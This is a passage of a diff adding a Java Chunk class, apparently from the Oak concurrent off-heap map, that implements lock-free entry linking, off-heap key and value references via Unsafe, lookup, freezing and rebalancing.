+        VALUE_LENGTH(2), KEY_REFERENCE(3), KEY_POSITION(3), KEY_BLOCK_AND_LENGTH(4), KEY_BLOCK(4),
+        KEY_LENGTH(4);
+
+        public final int value;
+
+        OFFSET(int value) {
+            this.value = value;
+        }
+    }
+
+    enum State {
+        INFANT,
+        NORMAL,
+        FROZEN,
+        RELEASED
+    }
+
+    static final int NONE = 0;    // an entry with NONE as its next pointer, points to a null entry
+    static final int INVALID_ENTRY_INDEX = -1;
+    static final long INVALID_VALUE_REFERENCE = 0;
+    static final int BLOCK_ID_LENGTH_ARRAY_INDEX = 0;
+    static final int POSITION_ARRAY_INDEX = 1;
+    // location of the first (head) node - just a next pointer
+    private static final int HEAD_NODE = 0;
+    // index of first item in array, after head (not necessarily first in list!)
+    private static final int FIRST_ITEM = 1;
+
+    private static final int FIELDS = 6;  // # of fields in each item of entries array
+    private static final int KEY_LENGTH_MASK = 0xffff; // 16 lower bits
+    private static final int KEY_BLOCK_SHIFT = 16;
+    // Assume the length of a value is up to 8MB because there can be up to 512 blocks
+    static final int VALUE_LENGTH_MASK = 0x7fffff;
+    static final int VALUE_BLOCK_SHIFT = 23;
+
+    // used for checking if rebalance is needed
+    private static final double REBALANCE_PROB_PERC = 30;
+    private static final double SORTED_REBALANCE_RATIO = 2;
+    private static final double MAX_ENTRIES_FACTOR = 2;
+    private static final double MAX_IDLE_ENTRIES_FACTOR = 5;
+
+    // defaults
+    public static final int MAX_ITEMS_DEFAULT = 4096;
+
+    private static final Unsafe unsafe = UnsafeUtils.unsafe;
+    private final MemoryManager memoryManager;
+    ByteBuffer minKey;       // minimal key that can be put in this chunk
+    AtomicMarkableReference<Chunk<K, V>> next;
+    OakComparator<K> comparator;
+
+    // in split/compact process, represents parent of split (can be null!)
+    private AtomicReference<Chunk<K, V>> creator;
+    // chunk can be in the following states: normal, frozen or infant(has a creator)
+    private final AtomicReference<State> state;
+    private AtomicReference<Rebalancer<K, V>> rebalancer;
+    private final int[] entries;    // array is initialized to 0, i.e., NONE - this is important!
+
+    private AtomicInteger pendingOps;
+    private final AtomicInteger entryIndex;    // points to next free index of entry array
+    private final Statistics statistics;
+    // # of sorted items at entry-array's beginning (resulting from split)
+    private AtomicInteger sortedCount;
+    private final int maxItems;
+    AtomicInteger externalSize; // for updating oak's size
+    // for writing the keys into the bytebuffers
+    private final OakSerializer<K> keySerializer;
+    private final OakSerializer<V> valueSerializer;
+
+    /*-------------- Constructors --------------*/
+
+    /**
+     * Create a new chunk
+     *
+     * @param minKey  minimal key to be placed in chunk
+     * @param creator the chunk that is responsible for this chunk creation
+     */
+    Chunk(ByteBuffer minKey, Chunk<K, V> creator, OakComparator<K> comparator, MemoryManager memoryManager,
+          int maxItems, AtomicInteger externalSize,
+          OakSerializer<K> keySerializer, OakSerializer<V> valueSerializer) {
+        this.memoryManager = memoryManager;
+        this.maxItems = maxItems;
+        this.entries = new int[maxItems * FIELDS + FIRST_ITEM];
+        this.entryIndex = new AtomicInteger(FIRST_ITEM);
+
+        this.sortedCount = new AtomicInteger(0);
+        this.minKey = minKey;
+        this.creator = new AtomicReference<>(creator);
+        if (creator == null) {
+            this.state = new AtomicReference<>(State.NORMAL);
+        } else {
+            this.state = new AtomicReference<>(State.INFANT);
+        }
+        this.next = new AtomicMarkableReference<>(null, false);
+        this.pendingOps = new AtomicInteger();
+        this.rebalancer = new AtomicReference<>(null); // to be updated on rebalance
+        this.statistics = new Statistics();
+        this.comparator = comparator;
+        this.externalSize = externalSize;
+
+        this.keySerializer = keySerializer;
+        this.valueSerializer = valueSerializer;
+    }
+
+    static class OpData {
+        final Operation op;
+        final int entryIndex;
+        final long newValueReference;
+        long oldValueReference;
+        final Consumer<OakWBuffer> computer;
+
+        OpData(Operation op, int entryIndex, long newValueReference, long oldValueReference,
+               Consumer<OakWBuffer> computer) {
+            this.op = op;
+            this.entryIndex = entryIndex;
+            this.newValueReference = newValueReference;
+            this.oldValueReference = oldValueReference;
+            this.computer = computer;
+        }
+    }
+
+    /*-------------- Methods --------------*/
+
+    void release() {
+        // try to change the state
+        state.compareAndSet(State.FROZEN, State.RELEASED);
+    }
+
+    /**
+     * performs CAS from 'expected' to 'value' for field at specified offset of given item in key array
+     */
+    private boolean casEntriesArrayInt(int item, OFFSET offset, int expected, int value) {
+        return unsafe.compareAndSwapInt(entries,
+                Unsafe.ARRAY_INT_BASE_OFFSET + (item + offset.value) * Unsafe.ARRAY_INT_INDEX_SCALE,
+                expected, value);
+    }
+
+    boolean casEntriesArrayLong(int item, OFFSET offset, long expected, long value) {
+        return unsafe.compareAndSwapLong(entries,
+                Unsafe.ARRAY_INT_BASE_OFFSET + (item + offset.value) * Unsafe.ARRAY_INT_INDEX_SCALE,
+                expected, value);
+    }
+
+
+    /**
+     * write key in slice
+     **/
+    private void writeKey(K key, int ei) {
+        int keySize = keySerializer.calculateSize(key);
+        Slice s = memoryManager.allocateSlice(keySize);
+        // byteBuffer.slice() is set so it protects us from the overwrites of the serializer
+        keySerializer.serialize(key, s.getByteBuffer().slice());
+
+        setEntryFieldInt(ei, OFFSET.KEY_BLOCK, s.getBlockID());
+        setEntryFieldInt(ei, OFFSET.KEY_POSITION, s.getByteBuffer().position());
+        setEntryFieldInt(ei, OFFSET.KEY_LENGTH, keySize);
+    }
+
+    /**
+     * Reads a key given the entry index. Key is returned via reusable thread-local ByteBuffer.
+     * There is no copy just a special ByteBuffer for a single key.
+     * The thread-local ByteBuffer can be reused by different threads, however as long as
+     * a thread is invoked the ByteBuffer is related solely to this thread.
+     */
+    ByteBuffer readKey(int entryIndex) {
+        if (entryIndex == Chunk.NONE) {
+            return null;
+        }
+
+        long keyReference = getKeyReference(entryIndex);
+        int[] keyArray = longToInts(keyReference);
+        int blockID = keyArray[0] >> KEY_BLOCK_SHIFT;
+        int keyPosition = keyArray[1];
+        int length = keyArray[0] & KEY_LENGTH_MASK;
+
+        return memoryManager.getByteBufferFromBlockID(blockID, keyPosition, length);
+    }
+
+    /**
+     * Sets the given key reference (OakRKeyReferBufferImpl) given the entry index.
+     * There is no copy just a special ByteBuffer for a single key.
+     * The thread-local ByteBuffer can be reused by different threads, however as long as
+     * a thread is invoked the ByteBuffer is related solely to this thread.
+     */
+    void setKeyRefer(int entryIndex, OakRReference keyReferBuffer) {
+        if (entryIndex == Chunk.NONE) {
+            return;
+        }
+        long keyReference = getKeyReference(entryIndex);
+        int[] keyArray = longToInts(keyReference);
+        int blockID = keyArray[BLOCK_ID_LENGTH_ARRAY_INDEX] >> KEY_BLOCK_SHIFT;
+        int keyPosition = keyArray[POSITION_ARRAY_INDEX];
+        int length = keyArray[BLOCK_ID_LENGTH_ARRAY_INDEX] & KEY_LENGTH_MASK;
+        keyReferBuffer.setReference(blockID, keyPosition, length);
+    }
+
+    boolean setValueRefer(int entryIndex, OakRReference value) {
+        if (entryIndex == Chunk.NONE) {
+            return false;
+        }
+        long valueReference = getValueReference(entryIndex);
+        if (valueReference == INVALID_VALUE_REFERENCE) {
+            return false;
+        }
+        int[] valueArray = longToInts(valueReference);
+        int blockID = valueArray[BLOCK_ID_LENGTH_ARRAY_INDEX] >> VALUE_BLOCK_SHIFT;
+        int keyPosition = valueArray[POSITION_ARRAY_INDEX];
+        int length = valueArray[BLOCK_ID_LENGTH_ARRAY_INDEX] & VALUE_LENGTH_MASK;
+        value.setReference(blockID, keyPosition, length);
+        return true;
+    }
+
+    /**
+     * release key in slice, currently not in use, waiting for GC to be arranged
+     **/
+    void releaseKey(int entryIndex) {
+        long keyReference = getKeyReference(entryIndex);
+        int[] keyArray = longToInts(keyReference);
+        int blockID = keyArray[0] >> KEY_BLOCK_SHIFT;
+        int keyPosition = keyArray[1];
+        int length = keyArray[0] & KEY_LENGTH_MASK;
+        Slice s = new Slice(blockID, keyPosition, length, memoryManager);
+
+        memoryManager.releaseSlice(s);
+    }
+
+    ByteBuffer readMinKey() {
+        int minEntry = getFirstItemEntryIndex();
+        return readKey(minEntry);
+    }
+
+    ByteBuffer readMaxKey() {
+        int maxEntry = getLastItemEntryIndex();
+        return readKey(maxEntry);
+    }
+
+    /**
+     * gets the field of specified offset for given item in entry array
+     */
+    private int getEntryFieldInt(int item, OFFSET offset) {
+        switch (offset) {
+            case KEY_LENGTH:
+                // return two low bytes of the key length index int
+                return (entries[item + offset.value] & KEY_LENGTH_MASK);
+            case KEY_BLOCK:
+                // offset must be OFFSET_KEY_BLOCK, return 2 high bytes of the int inside key length
+                // right-shift force, fill empty with zeroes
+                return (entries[item + offset.value] >>> KEY_BLOCK_SHIFT);
+            case VALUE_LENGTH:
+                return (entries[item + offset.value] & VALUE_LENGTH_MASK);
+            case VALUE_BLOCK:
+                return (entries[item + offset.value] >>> VALUE_BLOCK_SHIFT);
+            default:
+                return entries[item + offset.value];
+        }
+    }
+
+    // Atomically reads two integers of the entries array.
+    // Should be used with OFFSET.VALUE_REFERENCE and OFFSET.KEY_REFERENCE
+    private long getEntryFieldLong(int item, OFFSET offset) {
+        long arrayOffset = Unsafe.ARRAY_INT_BASE_OFFSET + (item + offset.value) * Unsafe.ARRAY_INT_INDEX_SCALE;
+        assert arrayOffset % 8 == 0;
+        return unsafe.getLongVolatile(entries, arrayOffset);
+    }
+
+    /**
+     * * sets the field of specified offset to 'value' for given item in entry array
+     */
+    private void setEntryFieldInt(int item, OFFSET offset, int value) {
+        assert item + offset.value >= 0;
+        switch (offset) {
+            case KEY_LENGTH:
+                // OFFSET_KEY_LENGTH and OFFSET_KEY_BLOCK should be less then 16 bits long
+                // *2 in order to get read of the signed vs unsigned limits
+                assert value < Short.MAX_VALUE * 2;
+                // set two low bytes of the key block id and length index
+                entries[item + offset.value] =
+                        (entries[item + offset.value]) | (value & KEY_LENGTH_MASK);
+                return;
+            case KEY_BLOCK:
+                // OFFSET_KEY_LENGTH and OFFSET_KEY_BLOCK should be less then 16 bits long
+                // *2 in order to get read of the signed vs unsigned limits
+                assert value < Short.MAX_VALUE * 2;
+                // offset must be OFFSET_KEY_BLOCK,
+                // set 2 high bytes of the int inside OFFSET_KEY_LENGTH
+                assert value > 0; // block id can never be 0
+                entries[item + offset.value] =
+                        (entries[item + offset.value]) | (value << KEY_BLOCK_SHIFT);
+                return;
+            case VALUE_LENGTH:
+                // make sure the length is at most 2^23 and at least 0
+                assert (value & VALUE_LENGTH_MASK) == value;
+                entries[item + offset.value] =
+                        (entries[item + offset.value]) | (value & VALUE_LENGTH_MASK);
+                return;
+            case VALUE_BLOCK:
+                assert value > 0; // block id can never be 0
+                assert ((value << VALUE_BLOCK_SHIFT) >>> VALUE_BLOCK_SHIFT) == value; // value is up to 2^9
+                entries[item + offset.value] =
+                        (entries[item + offset.value]) | (value << VALUE_BLOCK_SHIFT);
+                return;
+            default:
+                entries[item + offset.value] = value;
+        }
+    }
+
+    private void setEntryFieldLong(int item, OFFSET offset, long value) {
+        long arrayOffset = Unsafe.ARRAY_INT_BASE_OFFSET + (item + offset.value) * Unsafe.ARRAY_INT_INDEX_SCALE;
+        assert arrayOffset % 8 == 0;
+        unsafe.putLongVolatile(entries, arrayOffset, value);
+    }
+
+    /**
+     * gets the value for the given item, or 'null' if it doesn't exist
+     */
+    Slice getValueSlice(int entryIndex) {
+        return buildValueSlice(getValueReference(entryIndex));
+    }
+
+    Slice buildValueSlice(long valueReference) {
+        if (valueReference == INVALID_VALUE_REFERENCE) {
+            return null;
+        }
+        int[] valueArray = UnsafeUtils.longToInts(valueReference);
+        return new Slice(valueArray[BLOCK_ID_LENGTH_ARRAY_INDEX] >>> VALUE_BLOCK_SHIFT,
+                valueArray[POSITION_ARRAY_INDEX], valueArray[BLOCK_ID_LENGTH_ARRAY_INDEX] & VALUE_LENGTH_MASK,
+                memoryManager);
+    }
+
+    // Atomically reads the value reference from the entry array
+    long getValueReference(int entryIndex) {
+        return getEntryFieldLong(entryIndex, OFFSET.VALUE_REFERENCE);
+    }
+
+    // Atomically reads the value reference from the entry array
+    long getKeyReference(int entryIndex) {
+        return getEntryFieldLong(entryIndex, OFFSET.KEY_REFERENCE);
+    }
+
+    void releaseValue(long newValueReference) {
+        memoryManager.releaseSlice(buildValueSlice(newValueReference));
+    }
+
+    /**
+     * look up key
+     *
+     * @param key the key to look up
+     * @return a LookUp object describing the condition of the value associated with {@code key}.
+     * If {@code lookup == null}, there is no entry with that key in this chuck.
+     * If {@code lookup.valueReference == INVALID_VALUE}, it means that there is an entry with that key (can be
+     * reused in case
+     * of {@code put}, but there is no value attached to this key (it can happen if this entry is in the midst of
+     * being inserted, or some thread removed this key and no reblanace occurred leaving the entry in the chunk).
+     * It implies that {@code lookup.valueSlice = null}.
+     * If {@code lookup.valueSlice == null && lookup.valueReference != INVALID_VALUE} it means that the value is
+     * marked off-heap as deleted, but the connection between the entry and the value was not unlinked yet.
+     */
+    LookUp lookUp(K key) {
+        // binary search sorted part of key array to quickly find node to start search at
+        // it finds previous-to-key so start with its next
+        int curr = getEntryFieldInt(binaryFind(key), OFFSET.NEXT);
+        int cmp;
+        // iterate until end of list (or key is found)
+
+        while (curr != NONE) {
+            // compare current item's key to searched key
+            cmp = comparator.compareKeyAndSerializedKey(key, readKey(curr));
+            // if item's key is larger - we've exceeded our key
+            // it's not in chunk - no need to search further
+            if (cmp < 0) {
+                return null;
+            }
+            // if keys are equal - we've found the item
+            else if (cmp == 0) {
+                long valueReference = getValueReference(curr);
+                Slice valueSlice = buildValueSlice(valueReference);
+                if (valueSlice == null) {
+                    // There is no value associated with the given key
+                    assert valueReference == INVALID_VALUE_REFERENCE;
+                    return new LookUp(null, valueReference, curr);
+                }
+                if (ValueUtils.isValueDeleted(valueSlice)) {
+                    // There is a deleted value associated with the given key
+                    return new LookUp(null, valueReference, curr);
+                }
+                return new LookUp(valueSlice, valueReference, curr);
+            }
+            // otherwise- proceed to next item
+            else {
+                curr = getEntryFieldInt(curr, OFFSET.NEXT);
+            }
+        }
+        return null;
+    }
+
+    static class LookUp {
+
+        /**
+         * valueSlice is used for easier access to the off-heap memory. The location pointed by it is the one
+         * referenced by valueReference.
+         * If it is {@code null} it means the value is deleted or marked as deleted but still referenced by
+         * valueReference.
+         */
+        Slice valueSlice;
+        /**
+         * valueReference is composed of 3 numbers: block ID, value position and value length. All these numbers are
+         * squashed together into a long using the VALUE masks, shifts and indices.
+         * When it equals to {@code INVALID_VALUE} is means that there is no value referenced from entryIndex.
+         * This field is usually used for CAS purposes since it sits in each entry.
+         */
+        final long valueReference;
+        final int entryIndex;
+
+        LookUp(Slice valueSlice, long valueReference, int entryIndex) {
+            this.valueSlice = valueSlice;
+            this.valueReference = valueReference;
+            this.entryIndex = entryIndex;
+        }
+    }
+
+
+    /**
+     * binary search for largest-entry smaller than 'key' in sorted part of key array.
+     *
+     * @return the index of the entry from which to start a linear search -
+     * if key is found, its previous entry is returned!
+     */
+    private int binaryFind(K key) {
+        int sortedCount = this.sortedCount.get();
+        // if there are no sorted keys, or the first item is already larger than key -
+        // return the head node for a regular linear search
+        if ((sortedCount == 0) || comparator.compareKeyAndSerializedKey(key, readKey(FIRST_ITEM)) <= 0) {
+            return HEAD_NODE;
+        }
+
+        // optimization: compare with last key to avoid binary search
+        if (comparator.compareKeyAndSerializedKey(key, readKey((sortedCount - 1) * FIELDS + FIRST_ITEM)) > 0) {
+            return (sortedCount - 1) * FIELDS + FIRST_ITEM;
+        }
+
+        int start = 0;
+        int end = sortedCount;
+
+        while (end - start > 1) {
+            int curr = start + (end - start) / 2;
+
+            if (comparator.compareKeyAndSerializedKey(key, readKey(curr * FIELDS + FIRST_ITEM)) <= 0) {
+                end = curr;
+            } else {
+                start = curr;
+            }
+        }
+
+        return start * FIELDS + FIRST_ITEM;
+    }
+
+    /**
+     * publish operation into thread array
+     * if CAS didn't succeed then this means that a rebalancer got here first and entry is frozen
+     *
+     * @return result of CAS
+     **/
+    boolean publish() {
+        pendingOps.incrementAndGet();
+        State currentState = state.get();
+        if (currentState == State.FROZEN || currentState == State.RELEASED) {
+            pendingOps.decrementAndGet();
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * unpublish operation from thread array
+     * if CAS didn't succeed then this means that a rebalancer did this already
+     **/
+    void unpublish() {
+        pendingOps.decrementAndGet();
+    }
+
+    int allocateEntryAndKey(K key) {
+        int ei = entryIndex.getAndAdd(FIELDS);
+        if (ei + FIELDS > entries.length) {
+            return INVALID_ENTRY_INDEX;
+        }
+
+        // key and value must be set before linking to the list so it will make sense when reached before put is done
+        // setting the value reference to DELETED_VALUE atomically
+        setEntryFieldLong(ei, OFFSET.VALUE_REFERENCE, INVALID_VALUE_REFERENCE);
+        writeKey(key, ei);
+        return ei;
+    }
+
+    int linkEntry(int ei, K key) {
+        int prev, curr, cmp;
+        int anchor = INVALID_ENTRY_INDEX;
+
+        while (true) {
+            // start iterating from quickly-found node (by binary search) in sorted part of order-array
+            if (anchor == INVALID_ENTRY_INDEX) {
+                anchor = binaryFind(key);
+            }
+            curr = anchor;
+
+            // iterate items until key's position is found
+            while (true) {
+                prev = curr;
+                curr = getEntryFieldInt(prev, OFFSET.NEXT);    // index of next item in list
+
+                // if no item, done searching - add to end of list
+                if (curr == NONE) {
+                    break;
+                }
+                // compare current item's key to ours
+                cmp = comparator.compareKeyAndSerializedKey(key, readKey(curr));
+
+                // if current item's key is larger, done searching - add between prev and curr
+                if (cmp < 0) {
+                    break;
+                }
+
+                // if same key, someone else managed to add the key to the linked list
+                if (cmp == 0) {
+                    return curr;
+                }
+            }
+
+            // link to list between next and previous
+            // first change this key's next to point to curr
+            setEntryFieldInt(ei, OFFSET.NEXT, curr); // no need for CAS since put is not even published yet
+            if (casEntriesArrayInt(prev, OFFSET.NEXT, curr, ei)) {
+                // Here is the single place where we do enter a new entry to the chunk, meaning
+                // there is none else simultaneously inserting the same key
+                // (we were the first to insert this key).
+                // If the new entry's index is exactly after the sorted count and
+                // the entry's key is greater or equal then to the previous (sorted count)
+                // index key. Then increase the sorted count.
+                int sortedCount = this.sortedCount.get();
+                if (sortedCount > 0) {
+                    if (ei == (sortedCount * FIELDS + 1)) {
+                        // the new entry's index is exactly after the sorted count
+                        if (comparator.compareKeyAndSerializedKey(
+                                key, readKey((sortedCount - 1) * FIELDS + FIRST_ITEM)) >= 0) {
+                            // compare with sorted count key, if inserting the "if-statement",
+                            // the sorted count key is less or equal to the key just inserted
+                            this.sortedCount.compareAndSet(sortedCount, (sortedCount + 1));
+                        }
+                    }
+                }
+                return ei;
+            }
+            // CAS didn't succeed, try again
+        }
+    }
+
+    /**
+     * write value off-heap. The lock is initialized in this function as well.
+     *
+     * @param value the value to write off-heap
+     * @return a value reference for the newly allocated slice
+     **/
+    long writeValue(V value) {
+        // the length of the given value plus its header
+        int valueLength = valueSerializer.calculateSize(value) + ValueUtils.VALUE_HEADER_SIZE;
+        // The allocated slice is actually the thread's copy moved to point to the newly allocated slice
+        Slice slice = memoryManager.allocateSlice(valueLength);
+        // initializing the header lock to be free
+        slice.initHeader();
+        // since this is a private environment, we can only use ByteBuffer::slice, instead of ByteBuffer::duplicate
+        // and then ByteBuffer::slice
+        // This is the only place where we create a new object (for the serializer).
+        valueSerializer.serialize(value, ValueUtils.getValueByteBufferNoHeaderPrivate(slice.getByteBuffer()));
+        // combines the blockID with the value's length (including the header)
+        int valueBlockAndLength = (slice.getBlockID() << VALUE_BLOCK_SHIFT) | (valueLength & VALUE_LENGTH_MASK);
+        return intsToLong(valueBlockAndLength, slice.getByteBuffer().position());
+    }
+
+    int getMaxItems() {
+        return maxItems;
+    }
+
+    /**
+     * Updates a linked entry to point to a new value reference or otherwise removes such a link. For linkage this is
+     * an insert linearization point.
+     * All the relevant data can be found inside opData.
+     * <p>
+     * return true if operation was successful, false to indicate restart required
+     */
+    boolean pointToValue(OpData opData) {
+
+        // try to perform the CAS according to operation data (opData)
+        if (pointToValueCAS(opData)) {
+            return true;
+        }
+
+        // the straight forward helping didn't work, check why
+        Operation operation = opData.op;
+
+        // the operation is remove, means we tried to change the value reference we knew about to DELETED_VALUE
+        // the old value reference is no longer there so we have nothing to do. Note that in case of non-ZC removal the
+        // loop in remove() will lookup the key again so we will still return the previous value
+        if (operation == Operation.REMOVE) {
+            return true; // this is a remove, no need to try again and return doesn't matter
+        }
+
+        // the operation is either NO_OP, PUT, PUT_IF_ABSENT, COMPUTE
+        long foundValueReference = getValueReference(opData.entryIndex);
+
+        if (opData.newValueReference == foundValueReference) {
+            return true; // someone helped
+        } else if (foundValueReference == INVALID_VALUE_REFERENCE) {
+            // the value reference was deleted, retry the attach
+            opData.oldValueReference = INVALID_VALUE_REFERENCE;
+            return pointToValue(opData); // remove completed, try again
+        } else if (operation == Operation.PUT_IF_ABSENT) {
+            return false; // too late
+        } else if (operation == Operation.COMPUTE) {
+            Slice valueSlice = buildValueSlice(foundValueReference);
+            ValueUtils.ValueResult succ = ValueUtils.compute(valueSlice, opData.computer);
+
+            if (succ != ValueUtils.ValueResult.SUCCESS) {
+                // we tried to perform the compute but the value was deleted,
+                // we can get to pointToValue with Operation.COMPUTE only from PIACIP
+                // retry to make a put and to attach the new value
+                opData.oldValueReference = foundValueReference;
+                return pointToValue(opData);
+            }
+        }
+        // This is a put, in which case operation should restart,
+        // or PIACIP compute happened, which should return false
+        return false;
+    }
+
+    /**
+     * used by put/putIfAbsent/remove and rebalancer
+     */
+    private boolean pointToValueCAS(OpData opData) {
+        if (casEntriesArrayLong(opData.entryIndex, OFFSET.VALUE_REFERENCE, opData.oldValueReference,
+                opData.newValueReference)) {
+            // update statistics only by thread that CASed
+            if (opData.oldValueReference == INVALID_VALUE_REFERENCE && opData.newValueReference != INVALID_VALUE_REFERENCE) {
+                // previously a remove
+                statistics.incrementAddedCount();
+                externalSize.incrementAndGet();
+            } else if (opData.oldValueReference != INVALID_VALUE_REFERENCE && opData.newValueReference == INVALID_VALUE_REFERENCE) {
+                // removing
+                statistics.decrementAddedCount();
+                externalSize.decrementAndGet();
+            }
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * Engage the chunk to a rebalancer r.
+     *
+     * @param r -- a rebalancer to engage with
+     */
+    void engage(Rebalancer<K, V> r) {
+        rebalancer.compareAndSet(null, r);
+    }
+
+    /**
+     * Checks whether the chunk is engaged with a given rebalancer.
+     *
+     * @param r -- a rebalancer object. If r is null, verifies that the chunk is not engaged to any rebalancer
+     * @return true if the chunk is engaged with r, false otherwise
+     */
+    boolean isEngaged(Rebalancer<K, V> r) {
+        return rebalancer.get() == r;
+    }
+
+    /**
+     * Fetch a rebalancer engaged with the chunk.
+     *
+     * @return rebalancer object or null if not engaged.
+     */
+    Rebalancer<K, V> getRebalancer() {
+        return rebalancer.get();
+    }
+
+    Chunk<K, V> creator() {
+        return creator.get();
+    }
+
+    State state() {
+        return state.get();
+    }
+
+    private void setState(State state) {
+        this.state.set(state);
+    }
+
+    void normalize() {
+        state.compareAndSet(State.INFANT, State.NORMAL);
+        creator.set(null);
+        // using fence so other puts can continue working immediately on this chunk
+        Chunk.unsafe.storeFence();
+    }
+
+    final int getFirstItemEntryIndex() {
+        return getEntryFieldInt(HEAD_NODE, OFFSET.NEXT);
+    }
+
+    private int getLastItemEntryIndex() {
+        // find the last sorted entry
+        int sortedCount = this.sortedCount.get();
+        int entryIndex = sortedCount == 0 ? HEAD_NODE : (sortedCount - 1) * (FIELDS) + 1;
+        int nextEntryIndex = getEntryFieldInt(entryIndex, OFFSET.NEXT);
+        while (nextEntryIndex != Chunk.NONE) {
+            entryIndex = nextEntryIndex;
+            nextEntryIndex = getEntryFieldInt(entryIndex, OFFSET.NEXT);
+        }
+        return entryIndex;
+    }
+
+    /**
+     * freezes chunk so no more changes can be done to it (marks pending items as frozen)
+     */
+    void freeze() {
+        setState(State.FROZEN); // prevent new puts to this chunk
+        while (pendingOps.get() != 0) ;
+    }
+
+    /***
+     * Copies entries from srcChunk performing only entries sorting on the fly
+     * (delete entries that are removed as well).
+     * @param srcChunk -- chunk to copy from
+     * @param srcEntryIdx -- start position for copying
+     * @param maxCapacity -- max number of entries "this" chunk can contain after copy
+     * @return key index of next to the last copied item, NONE if all items were copied
+     */
+    final int copyPartNoKeys(Chunk<K, V> srcChunk, int srcEntryIdx, int maxCapacity) {
+
+        if (srcEntryIdx == HEAD_NODE) {
+            return NONE;
+        }
+
+        // use local variables and just set the atomic variables once at the end
+        int sortedEntryIndex = entryIndex.get();
+
+        // check that we are not beyond allowed number of entries to copy from source chunk
+        int maxIdx = maxCapacity * FIELDS + 1;
+        if (sortedEntryIndex >= maxIdx) {
+            return srcEntryIdx;
+        }
+        assert srcEntryIdx <= entries.length - FIELDS;
+
+        // set the next entry index from where we start to copy
+        if (sortedEntryIndex != FIRST_ITEM) {
+            setEntryFieldInt(sortedEntryIndex - FIELDS, OFFSET.NEXT, sortedEntryIndex);
+        } else {
+            setEntryFieldInt(HEAD_NODE, OFFSET.NEXT, FIRST_ITEM);
+        }
+
+        int entryIndexStart = srcEntryIdx;
+        int entryIndexEnd = entryIndexStart - 1;
+        int srcPrevEntryIdx = NONE;
+        boolean isFirstInInterval = true;
+
+        while (true) {
+            long currSrcValueReference = srcChunk.getValueReference(srcEntryIdx);
+            boolean isValueDeleted = (currSrcValueReference == INVALID_VALUE_REFERENCE) ||
+                    ValueUtils.isValueDeleted(buildValueSlice(currSrcValueReference));
+            int entriesToCopy = entryIndexEnd - entryIndexStart + 1;
+
+            // try to find a continuous interval to copy
+            // we cannot enlarge interval: if key is removed (value reference is DELETED_VALUE) or
+            // if this chunk already has all entries to start with
+            if (!isValueDeleted && (sortedEntryIndex + entriesToCopy * FIELDS < maxIdx)) {
+                // we can enlarge the interval, if it is otherwise possible:
+                // if this is first entry in the interval (we need to copy one entry anyway) OR
+                // if (on the source chunk) current entry idx directly follows the previous entry idx
+                if (isFirstInInterval || (srcPrevEntryIdx + FIELDS == srcEntryIdx)) {
+                    entryIndexEnd++;
+                    isFirstInInterval = false;
+                    srcPrevEntryIdx = srcEntryIdx;
+                    srcEntryIdx = srcChunk.getEntryFieldInt(srcEntryIdx, OFFSET.NEXT);
+                    if (srcEntryIdx != NONE) {
+                        continue;
+                    }
+
+                }
+            }
+
+            entriesToCopy = entryIndexEnd - entryIndexStart + 1;
+            if (entriesToCopy > 0) {
+                for (int i = 0; i < entriesToCopy; ++i) {
+                    int offset = i * FIELDS;
+                    // next should point to the next item
+                    entries[sortedEntryIndex + offset + OFFSET.NEXT.value]
+                            = sortedEntryIndex + offset + FIELDS;
+
+                    // copy both the key and the value references (without the padding) => 4 integers via array copy
+                    // the first field in an entry is next, and it is not copied since it was assign
+                    // therefore, to copy the rest of the entry we use the offset of next (which we assume is 0) and
+                    // add 1 to start the copying from the subsequent field of the entry.
+                    System.arraycopy(srcChunk.entries,  // source array
+                            entryIndexStart + offset + OFFSET.NEXT.value + 1,
+                            entries,                        // destination aray
+                            sortedEntryIndex + offset + OFFSET.NEXT.value + 1, (FIELDS - 2));
+                }
+
+                sortedEntryIndex += entriesToCopy * FIELDS; // update
+            }
+
+            if (isValueDeleted) { // if now this is a removed item
+                // don't copy it, continue to next item
+                srcPrevEntryIdx = srcEntryIdx;
+                srcEntryIdx = srcChunk.getEntryFieldInt(srcEntryIdx, OFFSET.NEXT);
+            }
+
+            if (srcEntryIdx == NONE || sortedEntryIndex >= maxIdx) {
+                break; // if we are done
+            }
+
+            // reset and continue
+            entryIndexStart = srcEntryIdx;
+            entryIndexEnd = entryIndexStart - 1;
+            isFirstInInterval = true;
+
+        }
+
+        // next of last item in serial should point to null
+        int setIdx = sortedEntryIndex > FIRST_ITEM ? sortedEntryIndex - FIELDS : HEAD_NODE;
+        setEntryFieldInt(setIdx, OFFSET.NEXT, NONE);
+        // update index and counter
+        entryIndex.set(sortedEntryIndex);
+        sortedCount.set(sortedEntryIndex / FIELDS);
+        statistics.updateInitialSortedCount(sortedCount.get());
+        return srcEntryIdx; // if NONE then we finished copying old chunk, else we reached max in new chunk
+    }
+
+    /**
+     * marks this chunk's next pointer so this chunk is marked as deleted
+     *
+     * @return the next chunk pointed to once marked (will not change)
+     */
+    Chunk<K, V> markAndGetNext() {
+        // new chunks are ready, we mark frozen chunk's next pointer so it won't change
+        // since next pointer can be changed by other split operations we need to do this in a loop - until we succeed
+        while (true) {
+            // if chunk is marked - that is ok and its next pointer will not be changed anymore
+            // return whatever chunk is set as next
+            if (next.isMarked()) {
+                return next.getReference();
+            }
+            // otherwise try to mark it
+            else {
+                // read chunk's current next
+                Chunk<K, V> savedNext = next.getReference();
+
+                // try to mark next while keeping the same next chunk - using CAS
+                // if we succeeded then the next pointer we remembered is set and will not change - return it
+                if (next.compareAndSet(savedNext, savedNext, false, true)) {
+                    return savedNext;
+                }
+            }
+        }
+    }
+
+
+    boolean shouldRebalance() {
+        // perform actual check only in pre defined percentage of puts
+        if (ThreadLocalRandom.current().nextInt(100) > REBALANCE_PROB_PERC) {
+            return false;
+        }
+
+        // if another thread already runs rebalance -- skip it
+        if (!isEngaged(null)) {
+            return false;
+        }
+        int numOfEntries = entryIndex.get() / FIELDS;
+        int numOfItems = statistics.getCompactedCount();
+        int sortedCount = this.sortedCount.get();
+        // Reasons for executing a rebalance:
+        // 1. There are no sorted keys and the total number of entries is above a certain threshold.
+        // 2. There are sorted keys, but the total number of unsorted keys is too big.
+        // 3. Out of the occupied entries, there are not enough actual items.
+        return (sortedCount == 0 && numOfEntries * MAX_ENTRIES_FACTOR > maxItems) ||
+                (sortedCount > 0 && (sortedCount * SORTED_REBALANCE_RATIO) < numOfEntries) ||
+                (numOfEntries * MAX_IDLE_ENTRIES_FACTOR > maxItems && numOfItems * MAX_IDLE_ENTRIES_FACTOR < numOfEntries);
+    }
+
